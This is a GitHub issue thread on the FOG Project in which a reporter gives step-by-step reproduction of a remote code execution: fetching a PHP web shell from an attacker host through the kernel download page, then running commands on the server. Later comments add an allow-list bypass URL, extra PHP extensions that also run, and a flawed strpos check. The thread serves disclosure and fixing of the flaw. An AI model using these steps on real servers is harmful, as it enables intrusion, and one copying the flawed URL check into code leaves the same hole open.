

[Jump to bottom](#)

✓ Closed

langkexiansheng opened this issue on Apr 29, 2021 · 8 comments

1. Create an empty 10Mb file.  
`dd if=/dev/zero of=myshell bs=10485760 count=1`
2. Add your PHP code to the end of the file created in the step 1.  
`echo "" >> myshell`
3. Put the file "myshell" accessible through HTTP.  
`$ cp myshell /var/www/html`
4. Encode the URL to get "myshell" file to base64 (Replacing Attacker IP).  
`$ echo "http://ATTACKER_IP/myshell" | base64`  
`aHR0cDovLzE5Mi4xNjguMS4xMDIvbnVlZaGVsbAo=`
5. Visit  
`http://VICTIM_IP/fog/management/index.php?node=about&sub=kernel&file=<YOUR_MYSHELL_URL_HERE>=&arch=arm64`  
Example:  
`http://192.168.1.120/fog/management/index.php?node=about&sub=kernel&file=aHR0cDovLzE5Mi4xNjguMS4xMDIvbnVlZaGVsbAo=&arch=arm64`
6. Appears a textbox, change the Kernel Name (bzImage32) to myshell.php and click on Install.
7. Visit `http://VICTIM_IP/fog/service/ipxe/myshell.php?cmd=whoami` execute system whoami command

Member

What I'm gathering is to get this to run:

- Create a blank file (or a php script - with 10MB due to the filesize checking involved?)
- making sure the file is accessible (this means some checking we already had in place isn't working properly, would you be willing to test dev-branch and working-1.6 branches which I adjusted the code to hopefully fix this so testing would be awesome.
- While this is an issue, it appears you would have to have access to the interface for this to be exploited. (I realize people have this externally accessible sometimes. So I want this fixed of course.) Most people are not immediately impacted?
- For number 6, unfortunately I don't think its viable to prevent certain file names.

Member


Now you added `bb4b762` which essentially just reverts the logic of the URL check. It's probably easier to comprehend the logic this way so that's good. Though I don't understand why you switched to use `stripos` for one of the URLs only.

Member

The only reason I switched to stripos was I was under the impression the checks you are referencing were not working. So I just made the search case insensitive.

Member

Ok, good to know. I think we can just leave it like that. Closing this issue now.

 Sebastian-Roth closed this as completed on May 12, 2021

I think this might be an incomplete fix.

First, the filename:

I had a look at a fresh Ubuntu 18.04+Apache installation and found the following in `/etc/apache2/mods-enabled/php7.2.conf` :

```
<FilesMatch ".+\.ph(ar|p|tml)$">
    SetHandler application/x-httpd-php
</FilesMatch>
```

So, in addition to `.php` the same RCE works with `.phar` and `.phtml`. I am also pretty sure I have seen `.php5` etc. before.

I guess using randomly-generated names is not easily possible. But is it possible to forbid suffixes completely? Or alternatively to only allow a list of known suffixes?

Second, the URL check:

```
if (false == strpos($dUrl, 'https://fogproject.org/') &&
    false == strpos($dUrl, 'https://github.com/FOGProject/')) {
    throw new Exception(_('Specified download URL not allowed!'));
}
```

It can likely be circumvented by adding the FOG URL inside the malicious URL, for example:

```
http://malicious.server/myshell?https://fogproject.org/
```

I must admit, I have not tested this so there might be some code that prevents this. However, this is easy to fix by switching to `str_starts_with` instead of `strpos`.

Sebastian-Roth commented on Jul 17, 2021

Member

@georgschoelly Thanks for your input on this!

1. Definitely right, many systems allow other PHP file extensions. So I changed the check on filename to block any filename that has an extension (a dot in the filename). Our kernel files are usually named `bzImage` and people should get along without using a dot!
2. Now that I look at this again I am pretty sure I tried to do exactly this by using `if (!strpos($dUrl, 'https://fogproject.org/') == 0)`. Though the logic seems to be a bit backwards I am pretty sure it worked in my tests. Using `str_starts_with` sounds great but we don't use PHP 8 yet. Therefore I think we need to go back to the backwards logic I used earlier.

Sebastian-Roth commented on Jul 17, 2021

Member

Commits [9f17f6e](#) ( working-1.6 ) and [43ded37](#) ( dev-branch ) should take care of this.

I tested with various strings including the mentioned `http://malicious.server/myshell?https://fogproject.org/ ...`

georgschoelly commented on Jul 19, 2021

Thanks a lot!

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

4 participants

